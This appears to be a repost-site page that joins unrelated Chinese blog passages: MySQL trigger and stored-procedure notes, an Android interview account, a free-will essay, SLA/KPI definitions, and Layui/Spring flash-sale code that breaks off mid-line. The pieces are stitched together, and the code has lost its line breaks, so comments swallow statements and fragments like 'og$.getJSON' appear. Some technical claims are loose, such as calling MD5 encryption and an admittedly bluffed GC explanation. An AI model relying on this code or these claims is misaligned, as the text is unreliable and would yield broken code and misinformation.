.... 26.触发器:由事件来触发某个操作,这些事件包括insert语句,update语句和delete语句.当数据库系统执行这些事件时,就会激活触发器执行相应的方法. 创建触发器:create trigger 触发器名 (before/after) 触发事件 on 表名 for each row sql语句. 这里的new是指代新插入的拿一条数据(更新的也算),若是old的话,指的是删除的那一条数据(更新之前的数据).(new和old属于过渡变量) 这条触发器的意思时:当t_book有插入数据时,就会根据新插入数据的id找到t_bookType的id,并试该条数据的bookNum加1. Begin与end写sql语句,中间可以写多条sql语句用分号;分隔开…也即是说语句要写完成,不能少分号. Delimiter | 设置分隔符,要不然好像只会执行begin与and之间的第一条sql语句. 查看触发器: 1.show triggers; 语句查看触发器信息.(查询所有的触发器) 2.在triggers表中查看触发器信息.(在数据库原始表triggers中可以查看) 删除触发器: Drop trigger 触发器名称 ; 27.函数: (1)日期函数: CURDATE()当前日期,CURTIME()当前时间,MONTH(d):返回日期d中的月份值,范围试1-12 (2)字符串函数:CHAR_LENGTH(s) 计算字段s值->字符串的长度.UPPER(s) 把该字段的值中所有英文都变成大写,LOWER(s) 和相面相反->把英文都变成小写. (3)数学函数:sum():求和,ABS(s) 求绝对值,SQRT(s):求平方根,mod(x,y),求余x/y (4)加密函数:PASSWORD(STR) 一般对密码加密 不可逆… MD5(STR) 普通加密 ,不可逆. ENCODE(str,pswd_str) 加密函数,结果是一个二进制文件,用blob类型的字段保存,pswd_str类似一个加密的钥匙,可以随便写. DECODE(被加密的值,pswd_str)–>对encode进行解密. 28.存储过程: (1)存储过程和函数:两者是在数据库中定义一些SQL语句的集合,然后直接调用这些存储过程和函数来执行已经定义好的SQL语句.存储过程和函数可以避免重复的写一些sql语句,而且存储过程是在mysql服务器中存储和执行的,减少客户端和服务器端的数据传输.(类似于java代码写的工具类.) (2)创建存储过程和函数: Create procedure 关键字 pro_book 存储过程名称, in 输入 bT 输入参数名称 int 输入参数类型 out 输出 count_num 输出参数名称 int 输入参数类型 Begin 过程开始 end过程结束 中间是sql语句, Delimiter 默认是分号,而他的作用就是若是遇见分号时就开始执行该过程(语句),但是一个存储过程可能有很多sql语句且以分号结束,若这样的情况下当第一条sql语句结束后就会开始执行该过程,产生的后果是创建过程时,执行到第一个分号就会开始创建,导致存储过程创建错误.(若是有多个参数,在多条sql中均有参数,第一条设置完执行了,而这时第二条的参数有可能还么有设置完成,导致sql执行失败.)因此,需要把默认执行过程的demiliter关键字的默认值改为其他的字符,例如上面的就是改为&&,(当然我认为上面就一条sql语句,改不改默认的demiliter的默认值都一样.) . 使用navicat的话不使用delimiter好像也是可以的. Reads sql data则是上面图片所提到的参数指定存储过程的特性.(这个是指读数据,当然还有写输入与读写数据专用的参数类型.)看下图 经常用contains sql (应该是可以读,) 这个是调用上面的存储过程,1为入参,@total相当于全局变量,为出参. 这是一个存储函数,create function 为关键字,fun_book为函数名称, 括号里面为传入的参数名(值)以及入参的类型.RETURNS 为返回的关键字,后面接返回的类型. BEGIN函数开始,END函数结束.中间是return 以及查询数据的sql语句, 这里是指把bookId 传进去,通过存储函数返回对应的书本名字, ---------存储函数的调用和调用系统函数一样 例如:select 存储函数名称(入参值) Select 为查询 func_book 为存储函数名 2为入参值. (3)变量的使用:declaer:声明变量的值 Delimiter && Create procedure user() Begin Declare a,b varchar2(20) ; — a,b有默认的值,为空 Insert into user values(a,b); End && Delimiter ; Set 可以用来赋值,例如: 可以从其他表中查询出对应的值插入到另一个表中.例如: 从t_user2中查询出username2与password2放入到变量a,b中,然后再插入到t_user表中.(当然这只是创建存储过程),创建完以后,需要用CALL 存储过程名(根据过程参数描写.)来调用存储过程.注意:这一种的写法只可以插入单笔数据,若是select查询出多笔数据,因为无循环故而会插入不进去语句,会导致倒致存储过程时出错.下面的游标也是如此. (4)游标的使用.查询语句可能查询出多条记录,在存储过程和函数中使用游标逐条读取查询结果集中的记录.游标的使用包括声明游标,打开游标,使用游标和关闭游标.游标必须声明到处理程序之前,并且声明在变量和条件之后. 声明:declare 游标名 curson for 查询sql语句. 打开:open 游标名 使用:fetch 游标名 into x, 关闭:close 游标名 ----- 游标只能保存单笔数据. 类似于这一个,意思就是先查询出来username2,与password2的值放入到cur_t_user2的游标中(声明,类似于赋值),然后开启->使用.使用的意思就是把游标中存储的值分别赋值到a,b中,然后执行sql语句插入到t_user表中.最后关闭游标. (5)流程控制的使用:mysql可以使用:IF 语句 CASE语句 LOOP语句 LEAVE语句 ITERATE 语句 REPEAT语句与WHILE语句. 这个过程的意思是,查询t_user表中是否存在id等于我们入参时所写的id,若有的情况下查出有几笔这样的数据并且把数值给到全局变量@num中,if判断是否这样的数据是否存在,若是存在执行THEN后面的语句,即使更新该id对应的username,若没有则插入一条新的数据,最后注意END IF. 相当于java中的switch case.例如: 这里想当然于,while(ture){ break; } 这里的意思是,参数一个int类型的参数,loop aaa循环,把参数当做主键id插入到t_user表中,每循环一次参入的参数值减一,直到参数值为0,跳出循环(if判断,leave实现.) 相当于java的continue. 比上面的多了一个当totalNum = 3时,结束本次循环,下面的语句不在执行,直接执行下一次循环,也即是说插入的数据没有主键为3的数据. 和上面的差不多,只不过当执行到UNTIL时满足条件时,就跳出循环.就如上面那一个意思就是当执行到totalNum = 1时,跳出循环,也就是说不会插入主键为0的那一笔数据 当while条件判断为true时,执行do后面的语句,否则就不再执行. (6)调用存储过程和函数 CALL 存储过程名字(参数值1,参数值2,…) 存储函数名称(参数值1,参数值2,…) (7)查看存储过程和函数. Show procedure status like ‘存储过程名’ --只能查看状态 Show create procedure ‘存储过程名’ – 查看定义(使用频率高). 存储函数查看也和上面的一样. 当然还可以从information_schema.Routines中(系统数据库表)查看存储过程与函数. (8)修改存储过程与函数: 修改存储过程comment属性的值 ALTER procedure 存储过程名 comment ‘新值’; (9)删除存储过程与函数: DROP PROCEDURE 存储过程名; DROP function 存储函数名; 29.数据备份与还原: (1)数据备份:数据备份可以保证数据库表的安全性,数据库管理员需要定期的进行数据库备份. 命令:使用mysqldump(下图),或者使用图形工具 Mysqldump在msql文件夹+bin+mysqldump.exe中,相当于一个小软件.执行的话是在dos命令窗操作的. 其实就是导出数据库数据,在navacat中可以如下图导出 (2)数据还原: 若是从navacat中就是把外部的.sql文件数据导入到数据库中去.如下图 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_42847571/article/details/102686087。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

... 自己的 touch事件等等，奥 对了，我们公司当时有需求 做一个 锁屏软件，侧滑解锁的，我也是自己定义的，然后展示给他看了一下，当时 那篇文章在这里。传送门http://blog.csdn.net/u011733020/article/details/41863861。 面试官01问：listview的优化、 Ｊ哥回答：(PS：这种问题，基本上 都快被问烂了，但是没办法 还是要回答。）listview作为最常见的 用来显示数据的view ，一般 从四个方面 去优化。 1 ，复用convertview， 不然假如有1000条数据，那么我们滑动，就会 产生1000个convertview ，这对内存是很大的浪费，所以 我们一定要复用。 2. 减少 findviewbyid 的次数， 因为 每次 去 执行 findviewbyid 也是要消耗资源的，我们要尽可能的减少，通常 我们定义一个viewholder，去管理 这些id ，然后通过tag 去直接拿到 id。 3， 分页加载，延迟加载 预加载。 这个在我们以前项目，有一个榜单，数据量很大，一次请求过来的数据量很大，这样有两个问题，一个是请求网络 时间可能会很长，另一个展示数据 上面 体验对不是很好，所以 我们做了 第一次加载 20条，然后每次请求 再去 加载10条新数据。 4.就是 对 listview 中一些 类似头像， 图片的 优化。这里 类似 三级缓存，推荐大家看一下 开源 的universal-image-loader 的源码。或者 这篇文章http://www.jb51.net/article/38162.htm，J哥有时间 专门写一篇过于 图片缓存的。 面试官01问： 看你简历上面 做过 社交，通信这块是怎么做的。 Ｊ哥回答：我看 咱们公司 也用到了 聊天，咱们公司是 自己做的 还是 用的第三方的类似 环信的。结果被J哥猜中，他说 是集成的环信（但是 有丢包现象，所以打算自己做通信）。 OK，Ｊ哥说　，我们　项目中聊天　是基于ｘｍｐｐ协议的做的，在没有android以前　，java有个开源的 smack ，android 上 现在有一个asmack ,其实 就是移植到android 中来了， 服务端是基于 openfire的 ,我们就是做的 openfire+asmack 的 聊天，这个原理主要 就是 绑定 ip 拿到 connection 然后 connect ，然后进行通信，我说，这个　跟ｈｔｔｐ请求　其实原理上一样，都是　绑定ｉｐ，然后　设置一些ｐｒｏｐｅｒｔｙ，然后通过类似流进行通信的，　asmack，其实底层 就是xml通信的。 面试官01问： touch 事件的传递机制，还特意画了，一个 就是 button LinearLayout 嵌套 。 Ｊ哥回答：就是这个， 这也难不倒我。因为Ｊ哥觉得　这个问题肯定会问到　所以　早有准备，这里　我就大体说下结论，详细原理　给你传送门。 我回答，这个很简单，只要你继承一下　button　　和　linearlayout　复写一下　三个方法　dispatchtouchEvent onInterceptTouchEvent 和onTouchEvent .就能很清楚的明白 传递的过程，我给你总的说下结论的，点击这个button，一般是 外面的父控件 先响应这个down 事件，然后 往子类里面传递，让子类 在往子类的下一级子类去传递，让最终的孩子去决定是不要要消费掉这个点击事件，如果消费掉，那么父类将不会响应，如果子类不消费，那么会退回到次级子类，然后看是否要消费，这样，一句话 就是父传子， 子决定要不要，不要 然后传回去。 这里有很详细 很详细的介绍， 包裹事件的分发。所以我就不罗嗦，http://blog.csdn.net/yanbober/article/details/45887547?ref=myread 面试官01问： 项目中图片的优化。 Ｊ哥回答：我给他展示的项目 其中有一款app 是有很多图片 ，但是 很流畅，也没有oom。关于图片 优化，一般我们采用三级缓存，1 。内存加载 2.本地加载 3 网络加载。 首先 我们看 内存中有没有，有直接拿来用，这里 我项目里是这样做的，我先获取一下 分配给我们应用的可用内存是多少，然后 拿1/4 或者 1/8做一个 lrucache. 把我们的bitmap对象添加进去。有些比较常用的图片，我会保存到本地，避免每次重复联网下载。结合 开源的 afinal universalimageloader 以及 13年谷歌官方推荐的volley(号称是 asynchttpclient 和universalimageloader)的结合、 所以 在我的项目中基本没有遇到过图片导致的oom 问题，对于单张的 大图片，我也会利用bitmapFactory，进行计算大小，然后 计算手机分辨率，进行定量的 压缩 处理。 面试官问： GC的回收 Ｊ哥回答：我说。GC 回收 应该不只是按照一种方式，应该有多种不同的算法，我看过谷歌 官网介绍的一点，有这样一块区域，他分为 latest（最近） middle（中等）permanent（永久的），这样三块子区域。里面分别存放，刚刚被创建的，以及 时间 靠后的，很久的，对象，不断地新对象 往latest里面添加，当达到相应对象区域的阀值的时候，就会触发GC，GC 进行回收的时候，对于latest 中回收的速度是最快的，而permanent 相对是最久的，而时间 也跟 每块区域中对象的个数有关系， 还有一种算法，是根据最近被引用的时间，或者 被引用的次数 去进行 GC的、、这里随便扯就是了。GC 回收并不是立即执行的。是不定时的。ＧＣ回收的时候　会阻塞线程，所以代码中要避免创建不必要的对象，例如ｆｏｒ循环中　创建大量对象　就会容易引起ＧＣ。 当我们也可以主动 在方法中执行system.gc() 去手动释放一些资源。 面试官01问： 怎么避免 viewpager 预加载 fragment的、 Ｊ哥回答：这个问题 我也碰到过，我们都知道，viewpager 它本身会预加载 左右两个 和当前一个对象、而 我们viewpager setOffscreenPageLimit(0) 不生效因为看源码知道，这个方法默认最少也要加载一个。所以 这个fragment 还没有被当前页面显示出来，已经夹在好了，有可能数据不是最新的，我是在 setuservisibilityhint() 这个方法中跟参数 动态去判断 要不要刷新的。 问了一圈，这个哥们大概没什么问的了，然后 就让我等一下，说让他们技术总监过来 。 我就等。。。 然后等了几分钟，进来一小姑娘，坐下，看了我简历，我以为是人事，来跟我谈人生理想。结果，没说几句话，让我讲一下我的项目。我qu，惊呆我了。我问，你也是做android的，我去，是这样的、、把J哥吓到, 然后问了Ｊ哥几个问题。 Android 小姑娘问： 看你项目中的listview 中item类型 是统一的，而加入 item 差别挺大的 你怎么复用。 Ｊ哥回答：J哥装作很牛的样子说，我暂时想到两种方法，1.给这个对象 加一个type 然后 根据 type 去复用，或者 把这几种类型 一起加载，然后控制显示隐藏。然后 我反问小姑娘，假如 我这里 有一百条数据，这一百条是无序的，包含了 10种 item类型，你有没有什么好方法 去处理这个问题， 小姑娘说，你不是定义了类型吗，我们就是 通过type 去判断的。 Android 小姑娘问： onAttch onDetach还是onAttachedToWindow，onDetachedFromWindow Ｊ哥回答：其实 那个小姑娘忘记这两个方法了。我说什么方法，她说onAttachIntent() 和 onDetachIntent(). 反正 J哥是没听说过， 我只见过 onAttach ,但是 这个方法 我也没用过。我就问她，这两个方法是做什么的，小姑娘跟我说 是 把子view绑定到界面上的，那么的话 应该是onAttachedToWindow，onDetachedFromWindow方法了，小姑娘说： 在这个方法 可以计算子 view的高度宽度，在 oncreate 里面不能计算，其实虽然刚开始 在oncreate里面是不能计算，但是还是有方法计算的，（本人觉得面试 问你 API 是 最2的了，忍不住吐槽下，我遇到过，Camera 拍照，问我获取 一个图片，还是 视频的 方法，我去百度 一下，随便就知道，真是不懂 为什么会问方法。随便一个程序员 都会百度。。） 跟小姑娘聊得其他问题 不太记得了，感觉这个女程序员啊。。就问方法 给我的印象不太好，不管方法用没用到，我觉得面试 直接问你方法 好2 好2... 然后技术总监 有进来跟我聊了，后技术总监 有进来跟我聊了、技术总监 年龄30出头吧，到是没有问我什么技术问题， 总监： 问我 做没做过通信这块，能不能做这一块。 Ｊ哥回答：，我说做过，通信有几种协议的，我们用的 是xmpp协议的 ，服务器 是 基于apache的 openfire 搭建的，客户端 是用的asmack。还有一些 其他协议的 ，比如我知道有些项目中用的 soap协议的，还有ip 协议的。ＰＳ：反正就是扯 我说　通信　客户端这一块　我没问题，但是　服务端　我　从工作以来　一直偏向　ａｎｄｒｏｉｄ　移动端开发，后台这一块，如果数据量大了，还要考虑并发之类的，我是做不了，让我做个ｔｏｍｃａｔ搭建的ｄｅｍｏ　我可能可以。 其他也是随便聊了下，然后　就说，让人事来跟我谈理想了。 总监： 问我 什么时候能上班 Ｊ哥回答：我说 这个看公司需求啦。 其他也是随便聊了下，然后　就说，让人事来跟我谈理想了。 这里　感觉应该没问题了。差不多能拿下了。 人事１：一进来，就问东问西。问加班看法啊，他们公司技术　一般都八九点走啊。说七点基本没有走的啊、、、 Ｊ哥回答：我说，一般遇到项目加功能　，版本升级，等等　这些加班都没什么，只要不是一直在加班。。。。这里每个人自己看法就好了、、 反正人事　是一直跟我强调这个，她不停强调　我就暗暗下决心，薪资　我是不会要低了。 人事１：看你还年轻啊，还能拼一拼啊、、、、 Ｊ哥回答：我说现在　这几年对我人生规划也算比较重要的时期，也是过一年少一年了，其实她的意思　还是侧面强调加班。。。。日了UZI了。 中间一堆废话，然后我问了她 公司一般上下班时间啊。。之类的有没有技术交流啊，之类的。。。 最后到关键问题上啦，最关心的，薪资问题。 人事１：期望薪资 Ｊ哥回答：我说16K左右吧。她问 你以前公司多少 握手 15K。她说她们公司 是 14薪。反正 我还是说16K。她说 那好，你等下，然后就出去了。 不知道 跟什么人 讨论了许久，然后又来一个 可能是人事吧。又进来，问了一遍，也问了薪资。。哥还是说16K 。 。。估计是她们公司想要我，但是又觉得有点超出她们薪资期望吧，当场被没有给什么offer。然后就有点婉拒的说，两天给我答复，心里很气愤，饿着肚子 面试到三点，竟然婉拒、、、 反正我是很生气，我说，好，然后我就走。结果，没过一个小时，人事又打电话来，非要约我 见一下她们CEO。这是什么鬼，难道她们CEO要给我煲汤 了？我说可以，然后时间定在后天了，，反正心灵鸡汤对我是没用了、 OK ，这家面试 先写到这里，下面下午还有一家，等下在写。准备睡觉。今天面试回来，累的就睡着了，晚上十点多才醒过来，想了想还是 把今天面试的过程总结一下。 ------------------------------待续------------------------- 第二弹http://blog.csdn.net/u011733020/article/details/46058273 本篇文章为转载内容。原文链接：https://blog.csdn.net/haluoluo211/article/details/51010955。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...程，会随机的考虑一些事件，这些事件包括记忆中的事件，和当时正在发生的事件，对于每个事件出现在线程中的概率不同。 不同事件的概率遵循的规律大致有以下几条： 1.对记忆中的事件，事件越久远概率越低。 2.对当时正在发生的事件，概率大致相同。 3.与当时线程中事件有关的事件概率高，无关的概率低。 4.与线程中的事件相关的个数越多，概率越高 5.对不同的心流状态，概率分配有所不同。 6.每个个体对不同的事件有不同的概率分配方案。 7.待补充。 可以说，大脑中的一切过程都是随机的。那这样的话，生物的思考过程究竟如何进行呢？其实很简单，单个概率可能代表随机，但是多个概率就有可能表示必然。我还是举那个5672的例子，为什么你会真的去心算这个结果，大致的过程是这样的，如果大脑的思考频率以毫秒计的话，假设看5672用了200毫秒，其中每毫秒除了这一事件，还有其他的99个事件，那么刚看完就开始计算的概率为1-0.99200=0.8660203251,看完后1秒之内还没有开始计算的概率为0.991000= 4.31712474107 e-5，可以说即使大脑中随机的杂念再多，思考的过程也会如约开始。假设线程中与事件相关的事件出现的概率为0.3，同理，在开始计算后1秒内大部分时间都在思考与计算有关的内容，当然也有可能会走神，即出现大范围的无关事件，但是这只会影响最后计算出结果的时间先后，并不会影响整个过程的进行。这也就是说，大脑的思考过程，其实就是由多个概率所确定的必然事件。 灵魂的旁观者 综上所述，作为个体唯一存在的“灵魂”处在一个旁观者的位置，而所谓的自由意识，主观意识不过是概率机的产物。那么这样就产生了两个问题。 第一个问题，你不觉得“灵魂”所在的肉体更像是一个囚笼吗？“灵魂”可以偶尔窥探外界，但无法做任何事情，只能默默得看着一切发生。尴尬的以为是自己做的，实际上就像看电影，每次看电影的时候，我都会以为我处在电影里面的世界。而现实就是，因为“灵魂”只能看肉体主演的这部“电影”，所以看的入迷了。其实，人类从解放双手，开发智力，使用工具，到探索宇宙，最大的进步莫过于发现自己其实仍处于囚笼之中。要怪就怪这囚笼建造地太过美好。而创建这一囚笼的“上帝”，把我们关在肉体这个囚笼里面，并且把我们的感知限制在有限的范围内，有限的嗅觉，16至20000赫兹的听觉，400纳米到700纳米的视觉，在感知中隔绝了我们对我们的唯一存在——“灵魂”的感知。 第二个问题，对于自己本身来说，表征自己存在的“灵魂”自己是可以确定的，而对于其他人，因为限制了对“灵魂”的感知，所以无法确认别人，别的生物体内这一旁观者的存在。也可以这么理解，你知道自己被关在一间囚笼里面，而不知道隔壁囚笼是否也关了一个存在。那么世界这个大监狱里面，可能只有一小部分，甚至只有你一个孤独的存在。而究竟为何我们或我被困于此，我不得而知，可能就像我们做研究的时候的小白鼠一样，“上帝”也在观察着我们或我的一举一动，这也是我这篇文章取这个题目的原因。小白鼠的逆袭，一开始我只是平凡的活着，说实在的其实做一个平凡人安安稳稳的一生还是很不错的，但是知道了这个囚笼的存在，就总想着打破它，因为在想到可能只有自己一个存在的时候，会是多么的孤独。就像一个人去看电影，哪怕电影的内容再精彩，再引人入胜，但当电影结束的时候，你才发现，原来我是一个人来的呀。 联系作者 有志向联系读者的：1612860@mail.nankai.edu.cn 未完待续。。。 本篇文章相当于《小白鼠的逆袭》的导读，下一篇我会出逆袭第一步：《思考的最简单模型及其编程实现》，可能用C++，也可能用Java，Python，看作者的心情吧。预计近几个月出吧，快则个把月，多则不知道了，毕竟作者本身还是比较忙的，忙七忙八也不知道在忙什么，嗯，就这样。 小号：在有多个游戏账号的前提下，等级高的号叫作大号，等级较低或者新创建的号叫作小号。 ↩︎ https://baijiahao.baidu.com/s?id=1586028525096880374&wfr=spider&for=pc. ↩︎ http://tieba.baidu.com/p/5127924201. ↩︎ http://tieba.baidu.com/p/5127924201. ↩︎ http://www.lwlm.com/sixiangzhexue/201704/840820.htm. ↩︎ 详细讨论请参见：《未来简史：从智人到智神》第三章：人类的特质。 ↩︎ “Unconscious determinants of free decisions in the human brain” in nature neuroscience, http://www.rifters.com/real/articles/NatureNeuroScience_Soon_et_al.pdf. ↩︎ 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_39384184/article/details/79288150。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...主动向管理站通报重要事件 SLA 简述 SLA（服务等级协议）：是关于网络服务供应商和客户之间的一份合同，其中定义了服务类型、服务质量和客户付款等术语 一个完整的SLA同时也是一个合法的文档，包括所涉及的当事人、协定条款(包含应用程序和支持的服务)、违约的处罚、费用和仲裁机构、政策、修改条款、报告形式和双方的义务等。同样服务提供商可以对用户在工作负荷和资源使用方面进行规定。 KPI 简述 KPI（关键绩效指标）：是通过对组织内部流程的输入端、输出端的关键参数进行设置、取样、计算、分析，衡量流程绩效的一种目标式量化管理指标，是把企业的战略目标分解为可操作的工作目标的工具，是企业绩效管理的基础。 KPI可以是部门主管明确部门的主要责任，并以此为基础，明确部门人员的业绩衡量指标，建立明确的切实可行的KPI体系，是做好绩效管理的关键。 KPI（关键绩效指标）是用于衡量工作人员工作绩效表现的量化指标，是绩效计划的重要组成部分 转载于:https://www.cnblogs.com/woshinideyugegea/p/11242034.html 本篇文章为转载内容。原文链接：https://blog.csdn.net/anqiongsha8211/article/details/101592137。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...g()})//工具条事件table.on('tool(normal_goods)', function(obj) { //注：tool 是工具条事件名，test 是 table 原始容器的属性 lay-filter="对应的值"let data = obj.data; //获得当前行数据let layEvent = obj.event; //获得 lay-event 对应的值（也可以是表头的 event 参数对应的值）let tr = obj.tr; //获得当前行 tr 的 DOM 对象（如果有的话）if (layEvent === 'normal_del') { //删除row = data//获得当前行的数据let url="/goods/del/"+data.gidlayer.confirm('确定删除吗？',{title:'删除'}, function(index){//向服务端发送删除指令og$.getJSON(url,{gid:data.gid}, function(ret){layer.close(index);//关闭弹窗reloadTable()});layer.close(index);//关闭弹窗});}if (layEvent === 'normal_edit') { //编辑row = dataopenDialog()} })// 页面弹出let openDialog=()=>{// 如果是iframe层layer.open({type: 2,content: '/goods/goodsOperate', //这里content是一个URL，如果你不想让iframe出现滚动条，你还可以content: ['http://sentsin.com', 'no']area:['800px','600px'],btn: ['确定','取消'],yes(index,layero){let url="/goods/insert"// 拿到表格数据let data=$(layero).find("iframe")[0].contentWindow.getFormData()if(row) {url="/goods/edit"}$.ajax({url,data,datatype: "json",success(res){layer.closeAll()reloadTable()layer.msg(res.message)} })} });}// -------------------------秒杀商品-------------------------------------------seckill_table=table.render({elem: 'seckill_goods',height: 500,url: '/seckillGoods/queryAll' //数据接口,parseData(res){ //res 即为原始返回的数据return {"code": res.code===200?0:1, //解析接口状态"msg": res.message, //解析提示文本"count": res.total, //解析数据长度"data": res.data //解析数据列表};},cols: [[ //表头{field: 'id', title: '秒杀商品编号', width:80, sort: true},{field: 'goodsId', title: '商品名字id'},{field: 'seckillPrice', title: '秒杀价格'},{field: 'stockCount', title: '秒杀库存'},{field: 'startDate', title: '活动开始时间'},{field: 'endDate', title: '活动结束时间'},{field: 'goodsName', title: '商品名称'}]]});// 添加秒杀商品$("seckill_add").click(()=>{layer.open({type:2,content: '/goods/SeckillGoodsOperate',area: ['800px','600px']})})})// 图片显示let showImg = (src,obj)=> {layer.tips(<img src="${src}" width="100px">, obj);}// 秒杀商品刷新var seckill_reload = ()=> {seckill_table.reload({page:{curr:1 //current} });} ②、增加秒杀商品弹出页面样式 <!DOCTYPE html><html lang="en"><head><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><link rel="stylesheet" href="/static/asset/js/layui/css/layui.css" media="all"></head><body><div style="padding:15px 0px;"><div class="layui-condition"><form id="fm" name="fm" action="/" method="post" class="layui-form"><div class="layui-form-item"><div class="layui-inline"><label class="layui-form-label" style="width: 100px;text-align: left;">秒杀活动时间:</label><div class="layui-input-inline" style="width:280px;"><input type="text" class="layui-input" id="dt"></div><div class="layui-input-inline"><button class="layui-btn" id="btn_save" type="button"><i class="fa fa-search fa-right"></i>保 存</button></div></div></div></form></div><div class="layui-fluid" style="margin-top:-18px;"><table id="tb_goods" class="layui-table" lay-filter="tb_goods" style="margin-top:-5px;"></table></div></div><script src="/static/asset/js/layui/layui.js"></script><script src="/static/asset/js/project/seckillGoodsOperate.js"></script></body></html> ③、实现增加秒杀商品 seckillGoodsOperate.js: layui.define(()=>{let table=layui.tablelet laydate = layui.laydatelet $=layui.jquerylet layer=layui.layer// 读取普通商品table.render({elem: 'tb_goods',height: 500,url: '/goods/queryAll' //数据接口,page: true //开启分页,parseData(res){ //res 即为原始返回的数据return {"code": res.code===200?0:1, //解析接口状态"msg": res.message, //解析提示文本"count": res.total, //解析数据长度"data": res.data //解析数据列表};},//用于对分页请求的参数：page、limit重新设定名称request: {pageName: 'page' //页码的参数名称，默认：page,limitName: 'rows' //每页数据量的参数名，默认：limit},cols: [[ //表头// 全选按钮{field: '', type:"checkbox"},{field: 'gid', title: '商品编号', width:80},{field: 'goodsName', title: '商品名字'},{field: 'goodsTitle', title: '商品标题'},{field: 'goodsDetail', title: '商品详情'},{field: 'goodsPrice', title: '商品价格', sort: true},{field: 'goodsStock', title: '商品库存', sort: true}]]});// 构建时间选择器//执行一个laydate实例laydate.render({elem: 'dt', //指定元素type: "datetime",range: "~"});$("btn_save").click(()=>{// 获取时间let val=$("dt").val()if(!val){layer.msg("请选择时间")return}// 解析时间2022-2-2 ~2022-5-2let startDate=new Date(val.split("~")[0]).getTime()let endDate=new Date(val.split("~")[1]).getTime()// 获得选中的普通商品,获取选中行的数据let rows= table.checkStatus('tb_goods').data; //idTest 即为基础参数 id 对应的值if(!rows||rows.length===0){layer.msg("请选择数据")return}layer.prompt(function(value, index, elem){// 修改每个商品的数量rows.forEach(e=>{e.goodsStock=value})let data={startDate,endDate,goods:rows}// 访问后台的秒杀商品的接口$.ajax({url: "/seckillGoods/add",contentType:'application/json',data: JSON.stringify(data),datatype:"json",//返回类型type:"post",success(res){parent.seckill_reload()layer.closeAll()parent.layer.closeAll()layer.msg(res.message)} })});})}) ④、展示结果 增加成功： 三、秒杀商品的操作 1、后端操作秒杀单个商品详情 ①、mapper层 SeckillGoodsMapper： Map<String,Object> querySeckillGoodsById(Long id); mapper.xml文件：SeckillGoodsMapper.xml <select id="querySeckillGoodsById" resultType="map">select sg.id,sg.goods_id,sg.seckill_price,sg.stock_count,sg.start_date,sg.end_date,g.goods_img,g.goods_title,g.goods_detail,g.goods_name,(casewhen current_timestamp < sg.start_date then 0when (current_timestamp between sg.start_date and sg.end_date) then 1when current_timestamp > sg.end_date then 2end) goods_statusfrom t_goods g,t_seckill_goods sgwhere g.gid = sg.goods_idand sg.id = {0}</select> ②、service层 ISeckillGoodsService： Map<String,Object> querySeckillGoodsById(Long id); SeckillGoodsServiceImpl： @Overridepublic Map<String, Object> querySeckillGoodsById(Long id) {return seckillGoodsMapper.querySeckillGoodsById(id);} ③、controller层：SeckillGoodsController package com.example.seckill.controller;import com.example.seckill.service.ISeckillGoodsService;import com.example.seckill.util.response.ResponseResult;import com.example.seckill.vo.SeckillGoodsVo;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.;import org.springframework.web.servlet.ModelAndView;import java.util.List;/ <p> 秒杀商品信息表 前端控制器 </p> @author lv @since 2022-03-19/@Controller@RequestMapping("/seckillGoods")public class SeckillGoodsController {@Autowiredprivate ISeckillGoodsService seckillGoodsService;// 返回json@ResponseBody@RequestMapping("/queryAll")public ResponseResult<List<SeckillGoodsVo>> queryAll(){return seckillGoodsService.queryAll();}@ResponseBody@RequestMapping("/add")public ResponseResult<List<SeckillGoodsVo>> add(@RequestBody SeckillGoodsVo seckillGoodsVo){return seckillGoodsService.addGoods(seckillGoodsVo);}// 正常跳转界面@RequestMapping("/query/{id}")public ModelAndView querySeckillGoodsById(@PathVariable("id") Long id) {ModelAndView mv = new ModelAndView("/goods/goodsSeckill");mv.addObject("goods", seckillGoodsService.querySeckillGoodsById(id));return mv;} } 2、前端展示 ①、在goodsList.js增加列的操作 {field: '', title: '操作', width: 140,templet: function (d) {return <div><a class="layui-btn layui-btn-xs layui-btn-danger">删除</a><a href="/seckillGoods/query/${d.id}" class="layui-btn layui-btn-xs layui-btn-normal">秒杀</a></div>;} } ②、添加秒杀详情界面 ：goodsSkill.ftl <!DOCTYPE html><html lang="en"><head><include "../common/head.ftl"/></head><body><table style="position: absolute;top:-10px;" class="layui-table" border="1" cellpadding="0" cellspacing="0"><tr><td style="width:120px;">商品图片</td><td><img src="${goods['goods_img']}" alt=""></td></tr><tr><td>商品名称</td><td>${goods['goods_name']}</td></tr><tr><td>商品标题</td><td>${goods['goods_title']}</td></tr><tr><td>商品价格</td><td>${goods['seckill_price']}</td></tr><tr><td>开始时间</td><td><div style="position: relative;${(goods['goods_status']==1)?string('top:10px;','')}">${goods['start_date']?string("yyyy-MM-dd HH:mm:ss")}-${goods['end_date']?string("yyyy-MM-dd HH:mm:ss")}<if goods['goods_status']==0>活动未开始<elseif goods['goods_status']==1>活动热卖中<div style="position:relative;top:-10px;float:right;"><input type="hidden" id="goodsId" value="${goods['goods_id']}" name="goodsId"/><button class="layui-btn" id="buy">立即抢购</button></div><else>活动已结束</if></div></td></tr></table><script src="/static/asset/js/project/goodsSeckill.js"></script></body></html> ③、实现：goodsSkill.js let layer, form, 